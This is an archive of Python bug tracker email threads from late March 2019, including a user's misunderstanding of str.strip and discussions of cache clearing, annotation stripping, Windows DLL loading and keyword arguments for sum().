security = True if settings["SECURITY"] == "True" else False
cpu_ = int(settings["THREADS"])
pool = ThreadPool(processes=int(cpu_))
comp_hash_other_2 = json.load(open('{}{}'.format(home_,
"Input_Data_Hash.txt"), 'r'))
comp_hash_other_ = json.load(open('{}{}'.format(home_,
"Output_Image_Hash.txt"), 'r'))
sort_n(name)
dig = 0
file_lim = len(name) - 1
file_len = len(name)
check = 0
b1 = 0
b2 = 0
b3 = 0
b4 = 0
for i in range(0, new_len):
    event, values = main_window.Read(timeout=0)
    if dig is file_len or event == "Button":
        break
    content = open("{}{}".format(input_, str(name[dig])), 'rb').read()
    temp_name = str(name[dig]).strip("-{}.bmp".format(dig))
    file_ = "{}{}".format(output_, str(temp_name))
    open(file_, 'ab').write(content[96:])
    dig += 1
    progress_bar.UpdateBar(i)
    progress_percent.Update(f"{i * 100 // new_len}%")
progress_bar.UpdateBar(current_count=1, max=1)
progress_percent.Update("100%")
check_value = dig / new_len

# The strip method works on all *Nix platforms without error, such
that magenta.zip is magenta.zip

# However, testing it on windows, magenta.zip was turned into agenta.zi

# Testing on Window: https://photos.app.goo.gl/uF1LVG2TyYk33UQy6

On Fri, Mar 29, 2019 at 5:51 PM Eric V. Smith <report at bugs.python.org>
wrote:

>
> Eric V. Smith <eric at trueblade.com> added the comment:
>
> Please provide the exact code to duplicate the problem.
>
> I suspect this is a problem with your code, not with str.strip and not
> with Windows.
>
> ----------
> nosy: +eric.smith
> status: open -> pending
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue36480>
> _______________________________________
>

----------
status: pending -> open

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36480>
_______________________________________

From report at bugs.python.org  Sat Mar 30 18:34:59 2019
From: report at bugs.python.org (Eric V. Smith)
Date: Sat, 30 Mar 2019 22:34:59 +0000
Subject: [issue36480] .strip() unexpected output on Windows
In-Reply-To: <1553904887.35.0.429598620868.issue36480@roundup.psfhosted.org>
Message-ID: <1553985299.22.0.101292588741.issue36480@roundup.psfhosted.org>


Eric V. Smith <eric at trueblade.com> added the comment:

I cannot run that example on my computer.

Please reduce this to a single line of code, with no imports, that calls .strip() and shows your problem. Ideally you will just use constants, and not computed strings.

Something like:

>>> 'magenta.zip'.strip('pizamn')
'genta.'

And also, show that exact same line of code executed on both platforms.

That said, the problem is likely in your usage of .strip(). Please re-read the documentation: it does not remove substrings from a given string, it removes any of the given characters from the beginning and end of the string.

So, this is correct:
>>> 'magenta.zip'.strip('pm')
'agenta.zi'

You're probably seeing some difference due to upper or lower case filenames on the two platforms.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36480>
_______________________________________

From report at bugs.python.org  Sat Mar 30 18:47:06 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 30 Mar 2019 22:47:06 +0000
Subject: [issue36485] Add a way to clear all caches
In-Reply-To: <1553947019.94.0.789476600198.issue36485@roundup.psfhosted.org>
Message-ID: <1553986026.11.0.957214147452.issue36485@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

Not sure that I agree there is a testing need to clear all caches regardless of what they do. Test code should explicitly state whether it relies on a particular cache being cleared at some particular point in time.

Also, the concept of "need to clear all caches" isn't well-formed.  Would you want sys.intern caches to be cleared? What about the internal caches in SQLite? 

And do you think polling for a new magic attribute is the right approach?  We would get looser coupling and better control by letting modules register themselves as needed.

--- re.py ---

sys.register_cache_clear_function(callback=purge, doc='pattern cache and re cache')

--- ipaddress.py --

sys.register(IPv4Address.is_private.is_getter.cache_clear, doc='check for private networks)

----------
nosy: +rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36485>
_______________________________________

From report at bugs.python.org  Sat Mar 30 19:04:08 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 30 Mar 2019 23:04:08 +0000
Subject: [issue36466] Adding a way to strip annotations from compiled bytecode
In-Reply-To: <1553825507.66.0.407362572806.issue36466@roundup.psfhosted.org>
Message-ID: <1553987048.48.0.379843400096.issue36466@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

+1 for a command-line option decouples this from eliminating docstrings.  The latter generally has no semantic effect, but the former might.

Ideally, we don't want to break non-typing uses of annotations.  One example below uses annotations for argument validation and documentation.  Another example would be the using __annotations__ for dynamic dispatch.

--- Example -----------------------------------------------------------

>>> class Limit:
	def __init__(self, low, high):
		self.low = low
		self.high = high
	def valid(self, x):
		return self.low <= x <= self.high
	def __repr__(self):
		return f'{type(self).__name__}(low={self.low}, high={self.high})'
		 
>>> def validate(function, parameter, value):
	assert function.__annotations__[parameter].valid(value)

>>> def maneuver(thrust: Limit(100, 150), angle: Limit(-10, 20)):
	'Engage OMS burn (orbital maneuvering system).'
	validate(maneuver, 'thrust', thrust)
	validate(maneuver, 'angle', angle)
	...
	 
>>> help(maneuver)
		 
Help on function maneuver in module __main__:

maneuver(thrust: Limit(low=100, high=150), angle: Limit(low=-10, high=20))
    Engage OMS burn (orbital maneuvering system).

>>> maneuver(120, 7)
		 
>>> maneuver(120, 35)
		 
Traceback (most recent call last):
  File "<pyshell#41>", line 1, in <module>
    maneuver(120, 35)
  File "<pyshell#38>", line 4, in maneuver
    validate(maneuver, 'angle', angle)
  File "<pyshell#30>", line 2, in validate
    assert function.__annotations__[parameter].valid(value)
AssertionError

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36466>
_______________________________________

From report at bugs.python.org  Sat Mar 30 19:08:50 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 30 Mar 2019 23:08:50 +0000
Subject: [issue36467] IDLE to help with invisible characters
In-Reply-To: <1553844531.48.0.961433807157.issue36467@roundup.psfhosted.org>
Message-ID: <1553987330.56.0.524402492946.issue36467@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

The isprintable() method on str objects may be of help.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36467>
_______________________________________

From report at bugs.python.org  Sat Mar 30 19:25:39 2019
From: report at bugs.python.org (Martin Panter)
Date: Sat, 30 Mar 2019 23:25:39 +0000
Subject: [issue35403] support application/wasm in mimetypes and http.server
In-Reply-To: <1543911244.97.0.788709270274.issue35403@psf.upfronthosting.co.za>
Message-ID: <1553988339.56.0.0534599373993.issue35403@roundup.psfhosted.org>


Martin Panter <vadmium+py at gmail.com> added the comment:

According to Issue 34758, this was already added to 3.8?s ?mimetypes?.

----------
nosy: +martin.panter
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35403>
_______________________________________

From report at bugs.python.org  Sat Mar 30 19:27:42 2019
From: report at bugs.python.org (Martin Panter)
Date: Sat, 30 Mar 2019 23:27:42 +0000
Subject: [issue35403] support application/wasm in mimetypes and http.server
In-Reply-To: <1543911244.97.0.788709270274.issue35403@psf.upfronthosting.co.za>
Message-ID: <1553988462.22.0.0573986359775.issue35403@roundup.psfhosted.org>


Change by Martin Panter <vadmium+py at gmail.com>:


----------
superseder:  -> http.server module sets incorrect mimetype for WebAssembly files

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35403>
_______________________________________

From report at bugs.python.org  Sat Mar 30 19:30:24 2019
From: report at bugs.python.org (Steve Dower)
Date: Sat, 30 Mar 2019 23:30:24 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1553988624.95.0.631337134165.issue36085@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

I attached a build of the updated installer to PR 12636 (it's too big to attach here) in case anyone can help me test. It should block right at the start if you don't have the update, or else it'll go to the usual screen.

The message just says "install SP1 and all updates" as it always has, though the log file specifically refers to the KB. I doubt enough people are going to hit this for it to be a huge problem.

Also, I think Eryk was right that Windows 8 apparently does require the additional flag. It shouldn't affect what the test is testing, so I put it in for all versions. Just waiting on the custom buildbot to start to verify that the flag is all that's necessary and not the other changes I tried.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Sat Mar 30 19:48:58 2019
From: report at bugs.python.org (Michael Foord)
Date: Sat, 30 Mar 2019 23:48:58 +0000
Subject: [issue36485] Add a way to clear all caches
In-Reply-To: <1553947019.94.0.789476600198.issue36485@roundup.psfhosted.org>
Message-ID: <1553989738.24.0.446033953863.issue36485@roundup.psfhosted.org>


Michael Foord <michael at voidspace.org.uk> added the comment:

An auto-magic cache clearing mechanism is really tempting. I tend to agree with Raymond though, if code needs and progress a cache clearing mechanism it should be treated and accessible. 

They're are probably some problematic caches still within unittest however. Do test results still keep alive all tracebacks until test reporting?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36485>
_______________________________________

From report at bugs.python.org  Sat Mar 30 20:14:49 2019
From: report at bugs.python.org (Steve Dower)
Date: Sun, 31 Mar 2019 00:14:49 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1553991289.15.0.342430385829.issue36085@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:


New changeset ac19d9652799412404aef6b357a01057df34e005 by Steve Dower in branch 'master':
bpo-36085: Add additional load flag to ensure DLL loads successfully (GH-12633)
https://github.com/python/cpython/commit/ac19d9652799412404aef6b357a01057df34e005


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Sat Mar 30 20:14:58 2019
From: report at bugs.python.org (Michael Foord)
Date: Sun, 31 Mar 2019 00:14:58 +0000
Subject: [issue36485] Add a way to clear all caches
In-Reply-To: <1553989738.24.0.446033953863.issue36485@roundup.psfhosted.org>
Message-ID: <CFC6DFCA-19DA-4292-920C-D2B57EEE857C@voidspace.org.uk>


Michael Foord <michael at voidspace.org.uk> added the comment:

> On 30 Mar 2019, at 23:48, Michael Foord <report at bugs.python.org> wrote:
> 
> 
> Michael Foord <michael at voidspace.org.uk> added the comment:
> 
> An auto-magic cache clearing mechanism is really tempting. I tend to agree with Raymond though, if code needs and progress a cache clearing mechanism it should be treated and accessible. 

* exposes (not progress)
* tested  (not treated)

Sorry. 
> 
> They're are probably some problematic caches still within unittest however. Do test results still keep alive all tracebacks until test reporting?
> 
> ----------
> 
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue36485>
> _______________________________________

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36485>
_______________________________________

From report at bugs.python.org  Sat Mar 30 21:02:13 2019
From: report at bugs.python.org (78)
Date: Sun, 31 Mar 2019 01:02:13 +0000
Subject: [issue36480] .strip() unexpected output on Windows
In-Reply-To: <1553985299.22.0.101292588741.issue36480@roundup.psfhosted.org>
Message-ID: <CAP+xHDz=WTCeyZzwMi87ubJK3izkGhQec4SL49EAqvzV7cHQPA@mail.gmail.com>


78 <78alphadeviant at gmail.com> added the comment:

I have read the documentation. It didn't function near what I thought it
did. I've never heard it stripping front and back characters in tutorials.

I solely admit I was wrong in assuming its function.

On Sat, Mar 30, 2019, 3:35 PM Eric V. Smith <report at bugs.python.org> wrote:

>
> Eric V. Smith <eric at trueblade.com> added the comment:
>
> I cannot run that example on my computer.
>
> Please reduce this to a single line of code, with no imports, that calls
> .strip() and shows your problem. Ideally you will just use constants, and
> not computed strings.
>
> Something like:
>
> >>> 'magenta.zip'.strip('pizamn')
> 'genta.'
>
> And also, show that exact same line of code executed on both platforms.
>
> That said, the problem is likely in your usage of .strip(). Please re-read
> the documentation: it does not remove substrings from a given string, it
> removes any of the given characters from the beginning and end of the
> string.
>
> So, this is correct:
> >>> 'magenta.zip'.strip('pm')
> 'agenta.zi'
>
> You're probably seeing some difference due to upper or lower case
> filenames on the two platforms.
>
> ----------
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue36480>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36480>
_______________________________________

From report at bugs.python.org  Sat Mar 30 21:03:55 2019
From: report at bugs.python.org (Eric V. Smith)
Date: Sun, 31 Mar 2019 01:03:55 +0000
Subject: [issue36480] .strip() unexpected output on Windows
In-Reply-To: <1553904887.35.0.429598620868.issue36480@roundup.psfhosted.org>
Message-ID: <1553994235.2.0.673264303014.issue36480@roundup.psfhosted.org>


Change by Eric V. Smith <eric at trueblade.com>:


----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36480>
_______________________________________

From report at bugs.python.org  Sat Mar 30 21:12:56 2019
From: report at bugs.python.org (Martin Panter)
Date: Sun, 31 Mar 2019 01:12:56 +0000
Subject: [issue36293] Nonblocking read sys.stdin raises error
In-Reply-To: <1552578635.55.0.427957631553.issue36293@roundup.psfhosted.org>
Message-ID: <1553994776.78.0.85534108347.issue36293@roundup.psfhosted.org>


Martin Panter <vadmium+py at gmail.com> added the comment:

I wasn?t sure about closing it, in case Cyker came back with more details. E.g. what was the use case? Were they mislead by the documentation? Do they just think the error should be different, or do they think there should be no error in this case?

But I suppose we can close this and keep discussion about non-blocking text input together in the existing reports.

----------
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36293>
_______________________________________

From report at bugs.python.org  Sat Mar 30 21:13:11 2019
From: report at bugs.python.org (Martin Panter)
Date: Sun, 31 Mar 2019 01:13:11 +0000
Subject: [issue36293] Nonblocking read sys.stdin raises error
In-Reply-To: <1552578635.55.0.427957631553.issue36293@roundup.psfhosted.org>
Message-ID: <1553994791.72.0.943140813001.issue36293@roundup.psfhosted.org>


Change by Martin Panter <vadmium+py at gmail.com>:


----------
resolution:  -> duplicate

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36293>
_______________________________________

From report at bugs.python.org  Sat Mar 30 21:15:02 2019
From: report at bugs.python.org (Michael Foord)
Date: Sun, 31 Mar 2019 01:15:02 +0000
Subject: [issue36485] Add a way to clear all caches
In-Reply-To: <1553947019.94.0.789476600198.issue36485@roundup.psfhosted.org>
Message-ID: <1553994902.4.0.887414775341.issue36485@roundup.psfhosted.org>


Michael Foord <michael at voidspace.org.uk> added the comment:

Tests codify knowledge about the system under test, so it doesn't matter that the test suite has to know how to clear caches. It's specifically a good thing that the test writer knows which caches exist and need clearing, and how to do it. The harder thing mighty be determining what scope to do the clearing (per test, class or module) bit unittest exposes hooks for fixtures at those points for anything that needs doing automatically.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36485>
_______________________________________

From report at bugs.python.org  Sat Mar 30 21:46:02 2019
From: report at bugs.python.org (David Bolen)
Date: Sun, 31 Mar 2019 01:46:02 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1553996762.83.0.032364759042.issue36085@roundup.psfhosted.org>


David Bolen <db3l.net at gmail.com> added the comment:

I can help with a Win7 test of the installer, but my currently available systems are all 32-bit - any chance at a 32-bit version of the installer?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Sat Mar 30 23:18:05 2019
From: report at bugs.python.org (Steve Dower)
Date: Sun, 31 Mar 2019 03:18:05 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1554002285.28.0.173370148977.issue36085@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

> any chance at a 32-bit version of the installer

Done (on the PR). Thanks!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Sat Mar 30 23:33:09 2019
From: report at bugs.python.org (David Bolen)
Date: Sun, 31 Mar 2019 03:33:09 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1554003189.59.0.293988107936.issue36085@roundup.psfhosted.org>


David Bolen <db3l.net at gmail.com> added the comment:

Ok, I've verified that on a Win7 system with SP1 but without KB2533625 I get the expected block screen at startup.

On my worker (SP1 with KB2533625) it proceeds to the regular installation main dialog.

I'm attaching a copy of the install log in the blocking case to the PR as requested there.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Sat Mar 30 23:57:53 2019
From: report at bugs.python.org (Steve Dower)
Date: Sun, 31 Mar 2019 03:57:53 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1554004673.12.0.514834644827.issue36085@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Thanks, David. I looked at the log quickly and it's what I expected, so I'll merge the PR and start advertising the change. Thanks everyone!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Sat Mar 30 23:58:25 2019
From: report at bugs.python.org (Steve Dower)
Date: Sun, 31 Mar 2019 03:58:25 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1554004705.87.0.678188893949.issue36085@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:


New changeset 79da388a4016e24c4258dcc62cd0fa9dde0acb5b by Steve Dower in branch 'master':
bpo-36085: Add installer check for KB2533625 (GH-12636)
https://github.com/python/cpython/commit/79da388a4016e24c4258dcc62cd0fa9dde0acb5b


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Sun Mar 31 00:08:08 2019
From: report at bugs.python.org (C.A.M. Gerlach)
Date: Sun, 31 Mar 2019 04:08:08 +0000
Subject: [issue36490] Modernize function signature format in Archiving section
 of shutil doc
Message-ID: <1554005288.19.0.789880523073.issue36490@roundup.psfhosted.org>


New submission from C.A.M. Gerlach <CAM.Gerlach at Gerlach.CAM>:

In the process of updating the documentation for another issue, I noticed that unlike the rest of the shutil doc (and the Python docs in general, not to mention those of virtually every Python package), all the functions in the [Archiving operations section](https://docs.python.org/3/library/shutil.html#archiving-operations) uses the old style, difficult to parse nested-bracket notation for the function signatures, rather then the modern style displaying them as they would be expected to appear in Python code, with clearly and explicitly indicated defaults.

Therefore, given all bracketed items are keyword arguments with defaults, and there are no cases more complex then the standard linearly-nested brackets, is there a particular reason why this was retained? Otherwise, I can go ahead and submit a PR to update this.

----------
assignee: docs at python
components: Documentation
messages: 339243
nosy: CAM-Gerlach, docs at python
priority: normal
severity: normal
status: open
title: Modernize function signature format in Archiving section of shutil doc
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36490>
_______________________________________

From report at bugs.python.org  Sun Mar 31 00:37:50 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 31 Mar 2019 04:37:50 +0000
Subject: [issue36466] Adding a way to strip annotations from compiled bytecode
In-Reply-To: <1553825507.66.0.407362572806.issue36466@roundup.psfhosted.org>
Message-ID: <1554007070.13.0.473776275609.issue36466@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

Also note that functools.singledispatch depends on type annotations being present.???
 
? https://docs.python.org/3/library/functools.html#functools.singledispatch
? https://forum.dabeaz.com/t/singledispatch-and-the-visitor-pattern/395

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36466>
_______________________________________

From report at bugs.python.org  Sun Mar 31 02:09:17 2019
From: report at bugs.python.org (Camion)
Date: Sun, 31 Mar 2019 06:09:17 +0000
Subject: [issue36491] sum function's start optional parameter documented in
 help but not implemented
Message-ID: <1554012557.52.0.039399105575.issue36491@roundup.psfhosted.org>


New submission from Camion <camion_spam-pybugs at yahoo.com>:

>>> help(sum)
Help on built-in function sum in module builtins:

sum(iterable, start=0, /)
    Return the sum of a 'start' value (default: 0) plus an iterable of numbers
    
    When the iterable is empty, return the start value.
    This function is intended specifically for use with numeric values and may
    reject non-numeric types.

>>> sum([1, 2, 3], start=3)
Traceback (most recent call last):
  File "<pyshell#11>", line 1, in <module>
    sum([1, 2, 3], start=3)
TypeError: sum() takes no keyword arguments

By the way, it is very annoying that the start value is not available, because it hampers the possibility to use sum with things like vectors.

----------
components: Interpreter Core
messages: 339245
nosy: Camion
priority: normal
severity: normal
status: open
title: sum function's start optional parameter documented in help but not implemented
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36491>
_______________________________________

From report at bugs.python.org  Sun Mar 31 02:14:43 2019
From: report at bugs.python.org (Stefan Behnel)
Date: Sun, 31 Mar 2019 06:14:43 +0000
Subject: [issue36491] sum function's start optional parameter documented in
 help but not implemented
In-Reply-To: <1554012557.52.0.039399105575.issue36491@roundup.psfhosted.org>
Message-ID: <1554012883.94.0.84772090856.issue36491@roundup.psfhosted.org>


Stefan Behnel <stefan_ml at behnel.de> added the comment:

It's currently implemented as a positional argument, not a keyword argument. Thus the "/" at the end of the signature in the help text. That also suggests that it was a conscious decision, not an oversight. Personally, I'd also prefer it if it was available as a keyword argument.

----------
nosy: +scoder

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36491>
_______________________________________

From report at bugs.python.org  Sun Mar 31 02:18:04 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 31 Mar 2019 06:18:04 +0000
Subject: [issue36491] sum function's start optional parameter documented in
 help but not implemented
In-Reply-To: <1554012557.52.0.039399105575.issue36491@roundup.psfhosted.org>
Message-ID: <1554013084.22.0.887850411707.issue36491@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

Is this about sum not accepting start as keyword argument? It's fixed with issue34637. The help function in the report is that start could only be a positional argument with start appearing before '/' in "sum(iterable, start=0, /)" . This has been changed in 3.8 to below signature.

sum(iterable, /, start=0)
    Return the sum of a 'start' value (default: 0) plus an iterable of numbers

    When the iterable is empty, return the start value.
    This function is intended specifically for use with numeric values and may
    reject non-numeric types.

$ python3.7
Python 3.7.1rc2 (v3.7.1rc2:6c06ef7dc3, Oct 13 2018, 05:10:29)
[Clang 6.0 (clang-600.0.57)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> sum(range(10), start=10)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: sum() takes no keyword arguments

# 3.8

$ ./python.exe
Python 3.8.0a3+ (heads/master:7444daada1, Mar 30 2019, 20:27:47)
[Clang 7.0.2 (clang-700.1.81)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> sum(range(10), start=10)
55

----------
nosy: +rhettinger, xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36491>
_______________________________________

From report at bugs.python.org  Sun Mar 31 02:19:40 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 31 Mar 2019 06:19:40 +0000
Subject: [issue36490] Modernize function signature format in Archiving section
 of shutil doc
In-Reply-To: <1554005288.19.0.789880523073.issue36490@roundup.psfhosted.org>
Message-ID: <1554013180.13.0.532188192185.issue36490@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +giampaolo.rodola, tarek

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36490>
_______________________________________

From report at bugs.python.org  Sun Mar 31 02:22:22 2019
From: report at bugs.python.org (Stefan Behnel)
Date: Sun, 31 Mar 2019 06:22:22 +0000
Subject: [issue36491] sum function's start optional parameter documented in
 help but not implemented
In-Reply-To: <1554012557.52.0.039399105575.issue36491@roundup.psfhosted.org>
Message-ID: <1554013342.4.0.142157102764.issue36491@roundup.psfhosted.org>


Stefan Behnel <stefan_ml at behnel.de> added the comment:

Yes, duplicate of issue34637.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36491>
_______________________________________

From report at bugs.python.org  Sun Mar 31 02:26:40 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 31 Mar 2019 06:26:40 +0000
Subject: [issue36491] sum function's start optional parameter documented in
 help but not implemented
In-Reply-To: <1554012557.52.0.039399105575.issue36491@roundup.psfhosted.org>
Message-ID: <1554013600.63.0.118543344721.issue36491@roundup.psfhosted.org>


Change by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36491>
_______________________________________

From report at bugs.python.org  Sun Mar 31 02:28:59 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 31 Mar 2019 06:28:59 +0000
Subject: [issue36491] sum function's start optional parameter documented in
 help but not implemented
In-Reply-To: <1554012557.52.0.039399105575.issue36491@roundup.psfhosted.org>
Message-ID: <1554013739.4.0.715153915209.issue36491@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
superseder:  -> Make *start* usable as a keyword argument for sum().

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36491>
_______________________________________

From report at bugs.python.org  Sun Mar 31 03:17:27 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 31 Mar 2019 07:17:27 +0000
Subject: [issue36492] Deprecate passing some conflicting arguments by keyword
Message-ID: <1554016646.98.0.667285997331.issue36492@roundup.psfhosted.org>


New submission from Serhiy Storchaka <storchaka+cpython at gmail.com>:

As Steve mentioned in the discussion about PEP 570 [1], some changes of parameters to positional-only are breaking (although there is no breaks in the stdlib code). Before making parameters positional-only we should add a deprecation warning for passing them as keyword arguments. Similarly to the code used in the UserDict constructor (see issue22609).

The following PR adds deprecation warnings for other parameters which should be positional-only. It also fixes bugs about nonavailability to pass special keyword names like "self" or "func". Just one example:

>>> import functools
>>> def f(self, func): pass
... 
>>> functools.partialmethod(f, func=chr)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: __init__() got multiple values for argument 'func'


[1] https://discuss.python.org/t/pep-570-python-positional-only-parameters/1078/53

----------
components: Library (Lib)
messages: 339249
nosy: serhiy.storchaka
priority: normal
severity: normal
status: open
title: Deprecate passing some conflicting arguments by keyword
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36492>
_______________________________________

From report at bugs.python.org  Sun Mar 31 03:34:13 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sun, 31 Mar 2019 07:34:13 +0000
Subject: [issue36492] Deprecate passing some conflicting arguments by keyword
In-Reply-To: <1554016646.98.0.667285997331.issue36492@roundup.psfhosted.org>
Message-ID: <1554017653.21.0.612198204444.issue36492@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36492>
_______________________________________

From report at bugs.python.org  Sun Mar 31 03:36:06 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 31 Mar 2019 07:36:06 +0000
Subject: [issue36492] Deprecate passing some conflicting arguments by keyword
In-Reply-To: <1554016646.98.0.667285997331.issue36492@roundup.psfhosted.org>
Message-ID: <1554017766.23.0.920965965865.issue36492@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
keywords: +patch
pull_requests: +12569
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36492>
_______________________________________

From report at bugs.python.org  Sun Mar 31 04:30:59 2019
From: report at bugs.python.org (Ma Lin)
Date: Sun, 31 Mar 2019 08:30:59 +0000
Subject: [issue36485] Add a way to clear all caches
In-Reply-To: <1553947019.94.0.789476600198.issue36485@roundup.psfhosted.org>
Message-ID: <1554021059.01.0.64169415875.issue36485@roundup.psfhosted.org>


Ma Lin <malincns at 163.com> added the comment:

I suggest the documentation be written in more detail.

For example, in __clearcache__'s section, state explicitly that this magic function is for module-level cache, and it will be invoked by sys.clear_caches().

Maybe also introduce the background: some caches may grow unlimitedly, sys.clear_caches() gives the user a chance to empty them.

----------
nosy: +Ma Lin

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36485>
_______________________________________

From report at bugs.python.org  Sun Mar 31 04:49:05 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 31 Mar 2019 08:49:05 +0000
Subject: [issue27181] Add geometric mean to `statistics` module
In-Reply-To: <1464901494.08.0.0111988914026.issue27181@psf.upfronthosting.co.za>
Message-ID: <1554022145.12.0.852147572487.issue27181@roundup.psfhosted.org>


Change by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
keywords: +patch
pull_requests: +12570

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue27181>
_______________________________________

From report at bugs.python.org  Sun Mar 31 05:11:32 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 31 Mar 2019 09:11:32 +0000
Subject: [issue36485] Add a way to clear all caches
In-Reply-To: <1553947019.94.0.789476600198.issue36485@roundup.psfhosted.org>
Message-ID: <1554023492.46.0.405168731244.issue36485@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

